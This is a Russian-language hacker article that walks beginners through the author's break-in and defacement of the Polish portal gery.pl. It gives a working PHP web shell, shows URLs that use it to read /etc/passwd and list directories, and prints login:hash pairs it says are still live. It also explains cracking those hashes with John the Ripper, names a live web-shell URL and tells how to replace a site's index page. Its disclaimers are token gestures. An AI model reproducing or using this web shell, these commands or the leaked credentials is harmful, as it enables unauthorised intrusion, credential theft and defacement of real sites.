###########################################
#!/usr/share/doc/defaced/1/cases/gerypl.txt
###########################################
Как это делается? или История взлома gery.pl [ by [R00T] ]
Введение
Наверное, многие из вас знают кто такие хакеры? Или не знаете? Ну, да ладно,
рассказывать кто это такие я и не собирался. Я лучше расскажу вот о чем: в инете
много людей, которые так или иначе знакомы с хакингом. В большинстве случаев это
"знакомство" заканчивается на "видел как кто-то взломал сайт". Толпы юзверей
шастают по хакерским сайтам и ищут заветную инфу – "как стать супер хакером?"!
Большинство из таких ребят хотят так: зашел на хакерский сайт, полистал его
минут 10-15 и стал элитным хакером. 8) К сожалению (а может, и к счастью), 99%
таких "шустрых" юзеров никогда и не смогут воплотить свою мечту в реальность. 8/
Хакерами, а тем более элитными становятся не за год, и даже не за 2,3,4… Нужно
всю свою жизнь посвятить этому делу и тогда может быть что-то и получится. Но… о
чем это я… ах, да! Этой статьей я хочу не напугать новичков в данном ремесле, а
только лишь помочь им "найти себя", так же убедить администраторов ещё раз
проверить свои скрипты. Надеюсь, прочитав данную статью, вы поймёте – это не для
вас.
Данная статья написана для людей, с уровнем знаний в хакинге = 0,1%-5% от уровня
ньюби-хакера, так что... буду объяснять всё на пальцах. 8)
Скорее всего многие из вас уже прочли тучи "хакерских" статей, литературы,
подписались на все в мире багтраки, флудили на хакерских форумах о помощи
начинающему и т.д. и т.п. Я, наконец-таки, хочу представить вам настоящую
статью, с конкретным описанием, с конкретным примером и полным объяснением всех
действий. Это не руководство хакера, это пример взлома может быть Вашего
сервера, так что – советую прочесть… так.. на всякий. 8)
Доктор, а может не надо?
Сначала я хочу всех предупредить, что данная статья не является руководством к
действию, так же она не является материалом обучающего характера. Я твёрдо
рекомендую вам не пробовать то, что описывается в данной статье. Если же вы
всё-таки решитесь – помните, что это противоречит закону и вы можете быть
наказаны. О законе, кстати, читайте в разделе "Закон", на нашем сайте. Автор
статьи не несёт ответственности за ущерб, причинённый вами. И вообще – я вас
предупреждал. 8)
Ну и? С чего начнём?
А начнем мы с того, что расскажу я вам про то, как нормальные люди становятся
некими script-kiddie. Это "вроде как хакеры". Дело в том, что данный сорт
интернет-контенгента можно назвать самым низшим звеном хакеров. С него обычно
начинают, что собссно нам и надо. 8) Кто они такие и с чем их есть? Это люди,
часто очень мало соображающие в настоящем хакинге (по крайней мере, я
придерживаюсь такого мнения), которые порой даже не знают основные "сетевые
языки программирования" - PHP, ASP, Perl, XML и т.д. Эти "хакеры" используют
скрипты на сайтах, а точнее ошибки в этих скриптах (которые называются
уязвимостями или дырами). С помощью найденной дыры можно проделать разные вещи –
от просмотра диска, на котором стоит сервер, до скачивания паролей от всего
сервера. Ваши возможности по использованию дыры зависят, как от вашего
профессионализма, так и от самого скрипта (иногда ещё от админа сервера 8) ).
Итак, погнали!
Для начала вам надо уяснить одно простое правило – никогда не делай это не
защитив себя извне! 8) Да я не про Дюрекс! Я про прокси! Самое первое, что надо
сделать – это засесть под анонимный прокси-сервер. То такое прокси-сервер я
объяснять не буду – думаю, вы не настолько не осведомлены. Но на всякий случай –
http://www.proxychecker.ru. Там вы найдёте исчерпывающее объяснение по данному
вопросу + кучу анонимных прокси-серверов.
Итак, вам надо раздобыть анонимный прокси – идёте на любой поисковик и ищите
"анонимный прокси" или "anonymous proxy". Выбираете тот, что поближе к вам
(географически), - будет быстрее работать. Ставите в установках вашего бровзера,
чтобы тот соединялся через проксю, перезагружаете машину, идёте за пивом… 8) в
общем – готовитесь засесть за комп часа на 4.
После всех приготовлений – читаем дальше. Заходите в инет уже через прокси
(чтобы потом не париться). Ну, пол дела уже позади. 8) Теперь идёте на ЛЮБОЙ
Хайт, где есть архив уязвимостей в скриптах или багтрек (например, в раздел
"Дыры" нашего сайта). Багтрек я вам посоветую на http://security.nnov.ru,
кстати, там можно подписаться на рассылку – что очень вам рекомендую. Ну, раз уж
упомянул об этом сайте, то идёте в раздел поиска (на security.nnov.ru) и ищите
что-то типа "command execution" - что на нашем родном означает – "выполнение
комманд". На ваш запрос вам выдадут туеву хучу всего… Ну… я поступил по-умному –
я вводил в форме поиска "upload.php" – просто от балды, upload – на нашем
означает "закачивать", т.е. имеется ввиду закачка файлов на сервер, а .php – это
расширение скрипта, написанного на языке PHP (Pretty Home Page). Вы же можете
ввести что угодно – смысл в этом поиске в том, что мы ищем скрипт, который может
администрировать сайт, как вы понимаете, скрипт, которым можно закачать на
сервер файлы – один из таких! 8) В общем, мы выбрали любое, что пришло в голову
(upload.php, admin.asp, files.cgi, my_server.pl, admin.php и так далее). Я буду
использовать скрипт "upload.php".
Придумали, ввели (файл!), получили список информации по запросу. Прочитали.
Узнали, что в скрипте upload.php есть уязвимость, причём очень серьезная – если
скрипт на сайте установлен на стандартных настройках, то при закачке файлов на
сервер – пароль администратора не проверяется. 8) Опаньки! Т.е. любой может
загрузить этот скрипт (если он есть на сервере), закачать ЛЮБОЙ файл на сервер в
отдельную папку и быть крутым перцем! 8)
Ну, допустим… и что?
Теперь начинается самое нудное – проверять сервера на этот скрипт, точнее не на
скрипт, а на эту самую стандартную настройку, т.е. если скрипт после установки
не конфигурировали, то пароль при закачке не спрашивается. 8) Отлично! Уверяю
вас, в России уже не так много админов, которые считают, что если файл
site_admin.php лежит в корне сайта, то это так и надо… Короче, своих мы трогать
не будем, а пойдем куда-нибудь на забугорский поисковик и поищем
админов-дурачков. 8) Я выбрал для подобных операций польский поисковый сервер
http://www.search.pl. Итак, заходим, вводим в форму "upload.php"… и ждем. 8) Нам
выдаётся приличный списочек серверов из эдак 400.000! Ну, начинаем проверять,
заходим на каждый попавшийся и проверяем закачать файл – если просит ввести
пароль (или пишет, что пароль неверный), что пробуем следующий сервер.
После получаса таких поисков я нарыл 7 сайтов. 8/
Хааа! Нусс?! Ху’з некст?
Теперь я расскажу вам как был взломан www.gery.pl. Это польский портал, по
статусу не уступает нашему Яндексу.
Итак, у нас есть сервер, на котором стоит upload.php, где нет проверки пароля
при закачке файлов. 8) Что делать дальше? Нет, ребят, закачивать туда
"site_cracker.exe" не надо. Администратор хоть и не профессиональный, но найти
такой файл среди прочих своих он сможет и сразу удалит, я уже не говорю о том,
что он просто может поставить пароль на закачку.
Так что же делать? А делать вот что: копируем следующее в пустой текстовый файл:
<?
$cmd = $_GET["cmd"];
system("$cmd");
?>
Сохраняем этот файл как что-нибудь "нужное на сервере", типа "index.php",
главное, чтобы расширение у файла было .php. Потом, как вы уже поняли –
закачиваем этот файл на сервер. Теперь у самых продвинутых юзверей может
появится вопрос – куда этот файл закачался и где его можно на сервере найти?
Ответ: это зависит от настроек upload.php, но обычно это папка
www.server.com/uploads/ или www.server.com/upload/. Поздравляю, теперь у вас
есть доступ к серверу с правами apache. Ну… для тех, кто снова залез в танк,
скажу, что много с такими правами не сделаешь. Разве что можно посмотреть список
пользователей на сервере, можно посмотреть исходники любых скриптов на сайте =>
если сайт использует базу данных (например, MySQL) – узнать пароли админа к БД и
хорошо там покопаться. 8) Также, если будете очень шустрыми и любопытными –
можете нарыть хеши паролей пользователей, в файлах .htaccess. Хеши – это ещё не
пароли, это зашифрованная "белиберда", которую можно расшифровать и получить
пароль.
Как же все это работает? А очень просто, вводите в строке бровзера строку (если
это Линукс, то):
http://www.server.com/uploads/index.php?cmd=ls –la ../../../../../../../../../
public_html
Данная строка покажет вам содержимое папки /public_html
http://www.server.com/uploads/index.php?cmd=cat
../../../../../../../../../etc/passwd
Покажет вам содержимое файла passwd.
Если сервер стоит на Win, то:
http://www.server.com/uploads/index.php?cmd=dir ../../../../../../../
Покажет содержимое диска, на котором стоит сервер.
Теперь вам надо учить консольные команды Linux или Windows. Если у вас с этим
проблем нет – переходите к следующему абзацу. Список "полезных" команд я напишу
чуть позже и выложу в этот раздел.
Итак, у вас есть доступ к командной строке на сервере. Теперь всё в ваших руках.
Приведу пример – gery.pl. Когда я закачал туда файлик – я ещё даже не
подозревал, на какую жилу я напоролся. 8) На том сервере очень много всего.
После изучения некоторых папок – я заметил, что все пароли к ftp сервера лежат в
/data/private в файлах domain.gery.pl.pass. Там же лежал и gery.pl.pass. 8) Все
пароли были зашифрованы (естессно!), но в конечном итоге ничего не меняло. Я
посмотрел самые "интересные" домены, такие как upload.gery.pl,
webmaster.gery.pl, system.gery.pl… Потом, собрал их в одном файле и поставил
расшифровываться (об этом позже), а в то время, пока трещал главный комп, я
врубил ноутбук и продолжил поиски интересной инфы. Через пару минут я имел
доступ к БД (базе данных) MySQL каждого пользователя сайта, т.е. я мог копаться
в любой базе данных сервера.
Немного о структуре gery.pl – www-сервер устроен таким образом, что каждый
раздел сервера находится на поддомене, т.е. раздел forum находится на
forum.gery.pl, раздел чата – на chat.gery.pl. ну и т.д. Каждый поддомен или
раздел имеет свой логин и пароль. Чтобы редактировать информацию в каком-то
разделе – надо либо зайти на ftp-сервер с правами админа, либо зайти на тот же
ftp-сервер по логину этого раздела. Т.е. для редактирования раздела
system.gery.pl – вам надо зайти на ftp логином "system". Что я собссно и сделал.
8) Ну а далее дело техники.
Кхе-кхе… а где бабуля?
Ах, ну да… Откуда брать пароли к ftp? Где я брал пароли на gery.pl написано
выше, в папке /data/private. Где будут лежать пароли на вашем сервере – ищите
сами… файл /etc/passwd может только подсказать что за юзеры есть за данной
машине. Паролей в этом файле не будет. 8( Зато, у вас будет возможность
посмотреть как минимум исходники скриптов на сервере. Они могут быть в
/public_html , /public … ещё я видел в /home/httpd , /etc/httpd… вобщем, это
зависит от извращённости администратора.Администратор gery.pl вообще во всему
винту раскидал бекапы всего сайта... 8)
Теперь немного о паролях. Когда у вас будут строки, типа:
gery:WWJaOC4eodKjA
т.е. логин:хеш_пароля
Например:
film:kV5l3ybCiL.Y6
poczta:dFJivdUedVNFU
myadmin:N/dkET6nPqrWk
O800:6lyWcbSv4MeJw
webmaster:3aL92Ofgw4Wr.
usage:bcumKcHPzy/As
alias:0lQHzsPMuhbSw
(на момент написания этой статьи все эти записи были действующими, т.е. именно
это было на сервере gery.pl)
Mожете выходить из сети, и врубать John The Ripper, чтобы тот подбирал пароли к
этим логинам. Подбор производится простым сравнением каждого зашифрованного
слова из словаря с хешем пароля, данный вид взлома называется брутфорс. Самого
Джона можно взять на этом сайте, в разделе FTP, а словари к нему я выложу на
днях. Скачиваете Джона, запускаете его с ключём:
JOHN.EXE -pwfile:111.txt -wordfile:PWDLISTL.TXT –beep
где john.exe – бинарник, 111.txt – файл с записями вида логин:хеш, PWDLISTL.TXT
– файл словаря, в котором у нас слова для подбора пароля и "–beep" означает, что
Женька будет пищать от радости, когда наёдет очередной пароль.
Game Over
Ну вот… кода расшифруете пароли. Можете лезть на ftp и… главный файл на сервере
– index.html или index.php или же index.asp… ну, разберётесь. Дефейс сайта
предполагает замену этого файла на свой.
В принципе вот и всё. Хочу только лишь сказать, что на gery.pl ни один файл… а
нет, нифига… два файла пострадало. 8) В общем сервер я не клал, просто залез,
порылся, ничего особо интересного не нашёл – и ушел. Наша группа не занимается
варварством. 8/ Единственное, я и black c0de кое что изменили на system.gery.pl
и film.gery.pl – для того, чтобы администратор поверил, что мы не прикалываемся.
Через день после взлома я написал письмо администратору gery.pl, но… что самое
смешное… он так и не закрыл дыру. 8) Т.е. сейчас любой, кто прочитал эту статью,
сможет заново проделать мой путь. 8)
Наше искусство можно увидеть тут. С основного сервера я ничего стирать не стал,
да и не надо мне это…
Послесловие…
http://humor.gery.pl/upload/nteam.php?cmd=ls%20../../../../../../../../../..
/../../etc 8)))))))
И запомните – скрипт-кидди – это только лишь самая начальная ступень этого
ремесла. А чтобы вам пойти дальше, вы должны уяснить одну простую истину – не
килять инфу со взломанного сайта, это что-то вроде правила хорошего тона.
Теперь я уверен, что если в Польше где-то и были сервера с наличием upload.php –
то теперь все эти серваки будут дефейснуты. 8)
Данная статья не является "учебником" или пособием по хакерству. То, что описано
в данной статье является противозаконным. Я лишь показал, насколько может быть
уязвим очень серьезный и крупный портал, и иной раз убедил (я надеюсь) админов
сайтов лучше проверять свои скрипты.
З.Ы.: Не хочу, чтобы война в Ираке начиналась… 8(
Удачи вам и берегите себя. 8)